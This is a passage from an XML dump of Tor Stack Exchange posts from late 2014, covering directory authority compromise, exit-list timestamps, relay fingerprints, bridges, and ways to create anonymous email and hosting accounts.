file, named file &quot;&quot;, so it seems really weird. Unfortunately, I can't register to &lt;a href=&quot;http://torforum.org/&quot; rel=&quot;nofollow&quot;&gt;http://torforum.org/&lt;/a&gt; and ask there since phpBB as been compromised for 2 weeks now. I'm using windows 7. How should I proceed? By the way, I'm trying to install Tails because I read you can create a new complete anonymous email account, not just a chat or messaging service, am I right? Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="5354" LastEditorUserId="88" LastEditDate="2014-12-25T00:02:34.097" LastActivityDate="2014-12-25T00:02:34.097" Title="Anonymous new email account 2015" Tags="|tor-browser-bundle|anonymity|tails|email|javascript|" AnswerCount="1" CommentCount="8" ClosedDate="2014-12-25T00:07:36.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="4828" PostTypeId="2" ParentId="4826" CreationDate="2014-12-22T21:24:24.460" Score="1" Body="&lt;p&gt;If there are not enough directory authorities online for a consensus, the network will die out as the consensus expires.&lt;br&gt;&#xA;If no directory authorities are online, new clients are unable to download an initial list of relays.&lt;br&gt;&#xA;If an adversary has control over a majority of directory authorities, they could force a consensus of their liking, for example one that only contains exit nodes they also control. However, this would be noticed by operators of any relays that are no longer in the consensus. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is related: &lt;a href=&quot;https://tor.stackexchange.com/questions/196/would-distributed-denial-of-service-ddos-attacks-on-the-directory-authorities&quot;&gt;Would distributed denial of service (DDoS) attacks on the directory authorities disrupt the Tor network?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-12-22T21:24:24.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4829" PostTypeId="2" ParentId="4826" CreationDate="2014-12-22T21:31:38.817" Score="3" Body="&lt;p&gt;I would like to clear the air.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Many Directory authorities are compromised and gone offline.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How, and where did you get this idea from? You might be mistaking a separate incident for what you think is a compromise of the directory authorities. The incident to which I refer is an individual (T@riseup) who hosts mirrors of some Tor services and exit-nodes. There was (and still is as of this posting) some questions about the integrity of his services after an unexpected loss of control and downtime.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the subject of compromised directory authorities -- there isn't anything to report. This may change. I suspect it won't. Even if the possibility was overheard by someone who may have gotten the impression of seizure -- it's still unlikely. Why? &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Because only the stupidest of law enforcement would try it and expect that doing so would take down the network.&lt;/li&gt;&#xA;&lt;li&gt;Only the stupidest of law enforcement would think they could do it and not be noticed.&lt;/li&gt;&#xA;&lt;li&gt;Only the stupidest of law enforcement would do it and think they'll gain anything useful to any investigation from the compromised servers. That is, there are vastly better ways of pursuing an investigation.&lt;/li&gt;&#xA;&lt;li&gt;Only the stupidest of law enforcement would let their plans be so easily overheard. Unless, of course, the point was to cause chaos and confusion. Perhaps even to create fear, as is so often the tactic of such adversaries. Their goal, after all, is control over those who refuse to be controlled.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Under these circumstances is it safe to use Tor?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can expect TorProject to be in ongoing communication with current authorities. &lt;strong&gt;If&lt;/strong&gt; any directory authorities are compromised (or suspected) you'll know in three ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you use Tor-Browser you'll get the update-available indicator. The update will have blacklisted the suspected-to-be-compromised directory authority. You'll be able to read the change-log for more details. Given the circumstances I wouldn't be surprised if the updates could include replacement (and previously unknown) authorities. It's really that easy to replace a compromised authority.&lt;/li&gt;&#xA;&lt;li&gt;You'll see an update at &lt;a href=&quot;https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network&quot; rel=&quot;nofollow&quot;&gt;this blog entry&lt;/a&gt;. It contains the most useful of information on this subject (minus the trolling).&lt;/li&gt;&#xA;&lt;li&gt;You'll see an update on the tor-talk mailing list (mostly trolling). &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What are security and anonymity consequences of this current attack on directory authorities for Tor users?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well -- to be blunt, if enough authorities are compromised it would allow the evil twins to create their own Tor relay network. Which would, of course, be horrible. The good news is that's not as easy as just taking over a server. It's much harder than that in practice. On top of this, even if &lt;strong&gt;some&lt;/strong&gt; authorities were to be compromised, it would create a noticeable disruption. Which means unless &lt;strong&gt;all&lt;/strong&gt; authorities are compromised it would be very hard to pull off an &quot;attack&quot; from this vector and not be noticed. I recommend reading the blog entry mentioned above to gain further insight. Conversely if &lt;strong&gt;all&lt;/strong&gt; authorities are offline then no new Tor installations can bootstrap. However, existing clients, who have already bootstrapped will, for a time, continue to use their &lt;strong&gt;cached&lt;/strong&gt; consensus (measured in days -- more than enough time to address the problem).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're concerned about the status of the directory authorities you can do the following.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Check &lt;a href=&quot;https://consensus-health.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You'll note the last time/date a consensus was published. You can also peruse the data for anomalies.&lt;/li&gt;&#xA;&lt;li&gt;Check &lt;a href=&quot;https://atlas.torproject.org/#search/flag:authority&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You can reproduce that search by just searching for flag:authority on atlas. Ignore the entry for Tonga as that appears to be an erroneous entry due to having a bridge hosted on dizum.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope that helps somewhat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorDisplayName="user5341" LastEditDate="2014-12-22T21:49:21.323" LastActivityDate="2014-12-22T21:49:21.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4830" PostTypeId="2" ParentId="4821" CreationDate="2014-12-22T22:39:13.057" Score="1" Body="&lt;p&gt;I think you're mistaking the problem you're experiencing for 2 other related problems. The first being the &lt;a href=&quot;https://blog.torproject.org/blog/possible-upcoming-attempts-disable-tor-network&quot; rel=&quot;nofollow&quot;&gt;possible upcoming attempt to disable the tor network&lt;/a&gt; and the second being the possibility of compromise of some Tor mirrors and exit-nodes &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-December/036067.html&quot; rel=&quot;nofollow&quot;&gt;(all run by T@riseup)&lt;/a&gt;. This doesn't overlap with the problem of the authorities in terms of security. I hope I addressed this part of your concerns in your other &lt;a href=&quot;https://tor.stackexchange.com/questions/4826/what-would-happen-if-directory-authorities-were-compromised-or-taken-down&quot;&gt;related post&lt;/a&gt;. That should clear up your first paragraph.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A new client have tried Tor for the first time on Dec 20 2014, and it took more than 20 minutes to connect to an online directory authority.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now this, on the other hand, is possibly one of 2 things.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Your internet/wifi/vpn isn't operating properly causing problems during bootstrap. You would notice this however in that all traffic would be affected.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Your ISP/vpn is blocking Tor. You can deal with this in a couple ways.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you have an existing cached-consensus (from another install) you can use this to give your ISP a swift-kick. To let them know blocking the authorities on bootstrap won't work. On the other hand they might get even more upset and continue to block Tor. It depends on how attentive they are.&lt;/li&gt;&#xA;&lt;li&gt;You can use &lt;a href=&quot;https://www.torproject.org/docs/bridges&quot; rel=&quot;nofollow&quot;&gt;bridged mode&lt;/a&gt; which will encrypt directory connections. You'll need a bridge-relay as well which you can get &lt;a href=&quot;https://bridges.torproject.org&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You can email bridges@torproject.org as an alternative. Up-to-date instructions for using your bridges are &lt;a href=&quot;https://bridges.torproject.org/howto&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hopefully that gets you back on Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How many directory authorities are down? Is there any information why so many directory authorities are down?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;None of them are down. See &lt;a href=&quot;https://tor.stackexchange.com/questions/4826/what-would-happen-if-directory-authorities-were-compromised-or-taken-down&quot;&gt;my response to your other post&lt;/a&gt; for further details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now just hope it stays that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastEditorDisplayName="user5341" LastEditDate="2014-12-22T23:03:42.653" LastActivityDate="2014-12-22T23:03:42.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4831" PostTypeId="2" ParentId="4804" CreationDate="2014-12-22T23:33:46.640" Score="2" Body="&lt;p&gt;Tor decided not to support the naming system anymore. There is a proposal which proposes to &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/proposals/235-kill-named-flag.txt&quot; rel=&quot;nofollow&quot;&gt;kill the Named flag&lt;/a&gt;. Sebastian Hahn &lt;a href=&quot;https://lists.torproject.org/pipermail/tor-talk/2014-August/034380.html&quot; rel=&quot;nofollow&quot;&gt;announced&lt;/a&gt; this change in August 2014.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of names you should use their fingerprints. For instance the relay &lt;em&gt;CatRelay02&lt;/em&gt; has the &lt;a href=&quot;https://atlas.torproject.org/#details/CF6160C40FF2A9FB8A1CB5D02F4A2D56ACDC4CF6&quot; rel=&quot;nofollow&quot;&gt;fingerprint CF6160C40FF2A9FB8A1CB5D02F4A2D56ACDC4CF6&lt;/a&gt;. Just insert this into you &lt;code&gt;torrc&lt;/code&gt; and it should work again.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="923" LastEditDate="2014-12-23T17:20:08.683" LastActivityDate="2014-12-23T17:20:08.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4832" PostTypeId="1" AcceptedAnswerId="4833" CreationDate="2014-12-23T07:44:40.573" Score="3" ViewCount="835" Body="&lt;p&gt;I'm looking at the exit lists published at &lt;a href=&quot;https://collector.torproject.org/archive/exit-lists/&quot; rel=&quot;nofollow&quot;&gt;https://collector.torproject.org/archive/exit-lists/&lt;/a&gt;, and I'm trying to understand what is the time interval for which I can deduce a certain IP address was an exit node.&lt;br&gt;&#xA;Take for example this entry, from 2014-11-01:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNode 0017413E0BD04C427F79B51360031EC95043C012&#xA;Published 2014-10-31 14:37:10&#xA;LastStatus 2014-10-31 22:57:21&#xA;ExitAddress 105.237.225.30 2014-10-31 16:03:55&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand that the address &lt;code&gt;105.237.225.30&lt;/code&gt; was verified as an exit node at the instant 2014-10-31 16:03:55, and is guaranteed to have been an exit node at that instant (is that correct?). What is the time interval around that instant for which I can deduce that address was an exit node?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From the &lt;code&gt;Published&lt;/code&gt; time to the &lt;code&gt;LastStatus&lt;/code&gt; time (around 8 hours)?&lt;/li&gt;&#xA;&lt;li&gt;From the &lt;code&gt;Published&lt;/code&gt; time to the instant the address was verified (around an hour and a half)?&lt;/li&gt;&#xA;&lt;li&gt;Or maybe I have no guarantee that the address was an exit node except for the instant it was verified?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Even in case I can get no guarantees, I'd be happy to know if I can at least get a time interval for which the address was &lt;em&gt;probably&lt;/em&gt; an exit node.&lt;/p&gt;&#xA;" OwnerUserId="5348" LastActivityDate="2014-12-23T17:17:57.920" Title="How to read TorDNSEL's exit lists?" Tags="|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4833" PostTypeId="2" ParentId="4832" CreationDate="2014-12-23T17:17:57.920" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I understand that the address 105.237.225.30 was verified as an exit node at the instant 2014-10-31 16:03:55, and is guaranteed to have been an exit node at that instant (is that correct?).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, at that instant a test was performed and the node was an exit. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Or maybe I have no guarantee that the address was an exit node except for the instant it was verified?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In general, the node is guaranteed to have been an exit at the instant of being found in a test. Now, why is this? A couple of details per the spec jump out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Published&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A node publishes as soon as it passes it's &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/path-spec.txt#n146&quot; rel=&quot;nofollow&quot;&gt;self test&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Can also be read as meaning last published&lt;/li&gt;&#xA;&lt;li&gt;A descriptor is published when &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n321&quot; rel=&quot;nofollow&quot;&gt;changed or 18hrs passed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Doesn't consider if the node went down, for example the vm paused/network interruptions&lt;/li&gt;&#xA;&lt;li&gt;Uptime must reset (to trigger a re-publish) by restart&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;LastStatus&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Can be read as meaning the node is &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1836&quot; rel=&quot;nofollow&quot;&gt;active&lt;/a&gt;, has the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1904&quot; rel=&quot;nofollow&quot;&gt;exit flag&lt;/a&gt;, and not &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1670&quot; rel=&quot;nofollow&quot;&gt;marked bad&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;The exit is allowed to be bad when consensus method is &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n2153&quot; rel=&quot;nofollow&quot;&gt;less than 11&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So in the interval &lt;code&gt;[Published, LastStatus]&lt;/code&gt; having &lt;strong&gt;Published &amp;lt; LastStatus&lt;/strong&gt; this means&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the self test was passed, consensus was taken, and an exit-policy was published with the descriptor&lt;/li&gt;&#xA;&lt;li&gt;the authority managed to connect to this node in the &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt#n1886&quot; rel=&quot;nofollow&quot;&gt;last 45 minutes&lt;/a&gt; from LastStatus&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Be careful where &lt;strong&gt;Published &gt; LastStatus&lt;/strong&gt; such as this case&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Published 2014-12-22 22:00:29&#xA;LastStatus 2014-12-22 20:03:07&#xA;ExitAddress xx.xx.xxx.xx 2014-12-22 22:14:11&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The node may have given up the Exit flag, or may have gotten BadExit. &lt;em&gt;Tor has many transient qualities so things like this happen&lt;/em&gt;. The node was tested after re-publishing it's descriptor but didn't get consensus (but was still in the cache of TorDNSEL).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar argument applies in the interval &lt;code&gt;[Published, Test]&lt;/code&gt; except you know the node was an exit at the time of the test. Consider another example from the &lt;a href=&quot;https://collector.torproject.org/formats.html#exit-lists&quot; rel=&quot;nofollow&quot;&gt;CollecTor page&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Published 2010-12-28 07:35:55&#xA;LastStatus 2010-12-28 08:10:11&#xA;ExitAddress 91.102.152.236 2010-12-28 07:10:30&#xA;ExitAddress 91.102.152.227 2010-12-28 10:35:30&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This node last updated it's descriptor at 07:35:55. It did this after the test at 7:10:30. The last consensus was at 08:10:11 and the last test was at 10:35:30. What conclusions can be drawn about both exit ip's? The first ip was internal to tor and was also the exit. The second was found to be an exit. Maybe they've only got one ip address and it changed. Maybe they run a multi-homed node. The point is what we know (and can guarantee) is limited compared to what we can try to guess (and may be right but certainly not in general).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even in case I can get no guarantees, I'd be happy to know if I can at least get a time interval for which the address was probably an exit node.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So then what's the answer? It's this -- &lt;em&gt;hope for the best&lt;/em&gt;. A node that isn't in the consensus can (but probably shouldn't) still be tested. For an arbitrary entry any time after the LastStatus (minus a max of 45 minutes) until you take the consensus as expired is such an interval. Depending on how you consider expired consensus that means 1 - 3 hours (up to fresh-until, or, not past valid-until).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr, for a given LastStatus, 1 - 3 hours depending on your preferred view of expired consensus. This is based on hoping for the best possible scenario in general. It would be best to consider the history of an exit across as many sample points as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- leeroy&lt;/p&gt;&#xA;" OwnerDisplayName="user5341" LastActivityDate="2014-12-23T17:17:57.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4834" PostTypeId="2" ParentId="4827" CreationDate="2014-12-23T18:16:13.060" Score="1" Body="&lt;p&gt;The email provider that you are talking about is called tormail.  It ran from about 2010-2013, and allowed people to send messages into the tor network, as well as out of it.  It was an interesting consept, but it was somewhat flawed.  You can read more about it &lt;a href=&quot;http://en.wikipedia.org/wiki/Tor_Mail&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Claws mail (as you mentions) can be set up to work with the onion router.  You can view a discussion on that &lt;a href=&quot;http://lists.claws-mail.org/pipermail/users/2012-September/003570.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.  I do not know of any sort of hidden services that act as smtp servers.  On top of this, you will most likely not be able to send mail outside the network.  In the case you could, it would be a one way trip, reaching a hidden service directly from the clearnet is not easy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most people working within markets and/or general communication use XMPP servers.  There are multiple hidden services that act as an XMPP server, as well as many clearnet servers that do a just as good job.  Take a look at the &lt;a href=&quot;https://xmpp.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;XMPP observatory&lt;/a&gt; for clearnet xmpp servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blog.thijsalkema.de/me/blog//blog/2013/06/11/xmpp-federation-over-tor-hidden-services/&quot; rel=&quot;nofollow noreferrer&quot;&gt;On this page&lt;/a&gt; you can find a (rather lengthy) explaination on how to set up XMPP federation while utilizing Tor hidden services.  You will have to find XMPP services over tor yourself.  I know for a fact some lie within the hidden wiki, but you may have to do some digging to find a good server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, do not turn on javascript in Tor unless you know all of the javascript that a website uses, and you know that it is clean.  There are some hidden services that use javascript (a few forums, mostly for eye candy).  You can see an artical from infosec on this &lt;a href=&quot;http://resources.infosecinstitute.com/fbi-tor-exploit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/465/is-it-possible-to-run-a-secure-email-network-using-smtp-over-tor?rq=1&quot;&gt;Here&lt;/a&gt; is a question on stack exchange I saw recently that kinda talks about how an smtp server would be run over tor, I am unsure if this helps.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-12-23T19:42:47.663" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4835" PostTypeId="1" CreationDate="2014-12-23T19:04:51.177" Score="1" ViewCount="15" Body="&lt;p&gt;How can I change the IP to a USA IP address? I'm using Tor 4.0.2 on a MAC and have tried many different ways but all have failed. Please be detailed in the description as I'm not totally computer literate. &lt;/p&gt;&#xA;" OwnerUserId="5358" LastEditorUserId="923" LastEditDate="2014-12-23T20:08:16.873" LastActivityDate="2014-12-23T20:08:16.873" Title="Tor 4.0.2 How to change IP to desired country?" Tags="|help|exit-relays|" AnswerCount="0" CommentCount="0" ClosedDate="2014-12-24T23:59:42.930" ContentLicense="CC BY-SA 3.0" />
  <row Id="4836" PostTypeId="1" AcceptedAnswerId="4843" CreationDate="2014-12-23T20:23:45.120" Score="1" ViewCount="1496" Body="&lt;p&gt;I want to create a completely anonymous account on a hosting service, like rapidgator or 4shared and the like, but you need to supply an email account, which apparently cannot be created using Tor or Tails. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where could I find some guidelines?&lt;/p&gt;&#xA;" OwnerUserId="5354" LastEditorUserId="320" LastEditDate="2014-12-25T19:46:02.963" LastActivityDate="2020-03-02T09:49:36.003" Title="Create a completely anonymous account on a hosting service" Tags="|tor-browser-bundle|anonymity|tails|email|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4837" PostTypeId="1" AcceptedAnswerId="4893" CreationDate="2014-12-23T20:33:38.940" Score="3" ViewCount="1931" Body="&lt;p&gt;Recently, I have seen more and more forums, image boards, and market places that are shifting to Tor for the safety of their users.  This undoubtedly brings the many attackers that dislike these people with them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This brings me to a simple question, could a person (granted that they have enough bandwidth, and the attack is layer 7) launch a DDoS attack that would be strong enough to bring down a web server, but not slow down the network.  How would they do it?  I know botnets have run over Tor, and I know that Tor has used in the past to hide DDoS attackers (mainly skids).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, how could someone protect against a DDoS attack within the Tor network?  Given the nature of Tor, is it even possible to set up a firewall that would prevent against it?&lt;/p&gt;&#xA;" OwnerUserId="3388" LastEditorUserId="923" LastEditDate="2014-12-26T20:04:55.707" LastActivityDate="2015-01-01T11:28:22.167" Title="Launching a Distributed Denial of Service attack on a hidden service" Tags="|onion-services|attacks|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4838" PostTypeId="1" CreationDate="2014-12-23T20:41:51.997" Score="5" ViewCount="2660" Body="&lt;p&gt;A lot of sites are blocking Tor IP or I must fight with capchta. &#xA;So can I use proxy after Tor in Tails? For connection tails-&gt;tor-&gt;proxy-&gt;www.&#xA;If not proxy, maybe ssh tunnel is possible?&lt;/p&gt;&#xA;" OwnerUserId="5359" LastEditorUserId="350" LastEditDate="2014-12-23T21:43:08.110" LastActivityDate="2019-02-23T21:38:05.357" Title="Proxy after Tor in Tails" Tags="|tails|web-proxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4839" PostTypeId="2" ParentId="4812" CreationDate="2014-12-23T20:57:01.440" Score="2" Body="&lt;p&gt;This is pretty complicated to do, but it is possible.  Assuming that the VPN you are connected to only uses TCP then this could work, though not easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this with much less complication using a few socks5 proxies.  You could use a standard proxy to contact a bridge.  Then, you would have to send a new packets to your other proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with this is the fact that it isn't the most convinient thing in the world.  Granted, Tor isn't convinient either, this would not be fun to do, as it would require some study of the VPN your are connecting and/or the socks5 protocol (assuming you use socks5).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A much easier way to preform this kind of task is to connect to your vpn, then to the Tor network, and finaly to your proxy (this would cut down on time considerably, as there are simple tools to &quot;torrify&quot; ports though I have not personaly used them)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In stort, you can do it, but it will not be fun.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-12-23T20:57:01.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4840" PostTypeId="2" ParentId="4836" CreationDate="2014-12-23T21:57:08.367" Score="1" Body="&lt;p&gt;Nothing is completely anonymous, but you may register an email account in Riseup using Tor. Do provide a fictitious credentials when you register for the email. This may not be completely anonymous, but it is relatively anonymous. Use the email account only for one purpose and nothing else. For anything else create a new email account. Thus the email account should be single purpose meaning only use it for a single website. This is to eliminate possibility of correlation analysis among different web sites you may visit and using that to make a profile out of your behavior. One other security precaution you may observe is to limit the time period you use an email account. For example you only use an email account for period of one week or 20 minutes or whatever period of time you decide is right for you, and never use that account anymore, even cancel and delete the account after one week or 20 minutes and so on, if possible. Temp-mail usually do this part automatically for you after one time use or period of about 10 minutes.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-24T03:37:22.483" LastActivityDate="2014-12-24T03:37:22.483" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4841" PostTypeId="1" CreationDate="2014-12-23T23:26:37.220" Score="1" ViewCount="213" Body="&lt;p&gt;Using the Tor Browser, is it safe to use bookmarks on Start Page?  When using or saving settings, is it safe to to use URL option?   &lt;/p&gt;&#xA;" OwnerUserId="5361" LastEditorUserId="88" LastEditDate="2014-12-23T23:38:49.243" LastActivityDate="2015-01-23T15:29:13.343" Title="Start Page bookmarks and settings in regards to privacy" Tags="|tor-browser-bundle|anonymity|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4842" PostTypeId="2" ParentId="4727" CreationDate="2014-12-24T08:16:55.983" Score="1" Body="&lt;p&gt;You could check this video out, it is a video on my tech tutorial website that explains how to use Tor even though it is blocked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=F7VoJ3h7Jt4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=F7VoJ3h7Jt4&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5364" LastEditorUserId="923" LastEditDate="2014-12-24T11:32:26.317" LastActivityDate="2014-12-24T11:32:26.317" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4843" PostTypeId="2" ParentId="4836" CreationDate="2014-12-24T14:28:08.103" Score="1" Body="&lt;p&gt;It is quite possible to create a quazi-anonymous account without Tor, but to do it, you need to understand how monitors make connections between accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, a person attempting to connect two disconnected identities will look for either a common username, a common email, a common password, or a common ip address.  Tor takes care of the common ip address, but the other things must be done yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure to both a unique username and password.  It is not often that they will check for a password, but in the case that you use the same one twice, it could result in your accounts being &quot;cracked&quot; (the proccess of randomly trying passwords on accounts, until you get a working combonation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A temporary email address is not hard to get.  There are many websites, for instance &lt;a href=&quot;http://temp-mail.org/&quot; rel=&quot;nofollow&quot;&gt;temp-mail.org&lt;/a&gt; provides many easily accessable email addresses that can be used for temorary accounts.  If you plan on having an account for an extended period of time, use an email service that does not require much information about yourself, such as &lt;a href=&quot;http://cock.li/&quot; rel=&quot;nofollow&quot;&gt;cockmail&lt;/a&gt; or &lt;a href=&quot;http://gmx.com&quot; rel=&quot;nofollow&quot;&gt;gmx&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-12-24T14:28:08.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4844" PostTypeId="2" ParentId="4841" CreationDate="2014-12-24T14:35:03.813" Score="1" Body="&lt;p&gt;It is perfectly safe to do this as long as you know for a fact that the website in question is not in any danger of having some sort of javascript exploit like we saw in 2013.  I personaly have my browser set to open a picture of &quot;trust no one&quot; from x-files upon opening.&lt;/p&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2014-12-24T14:35:03.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
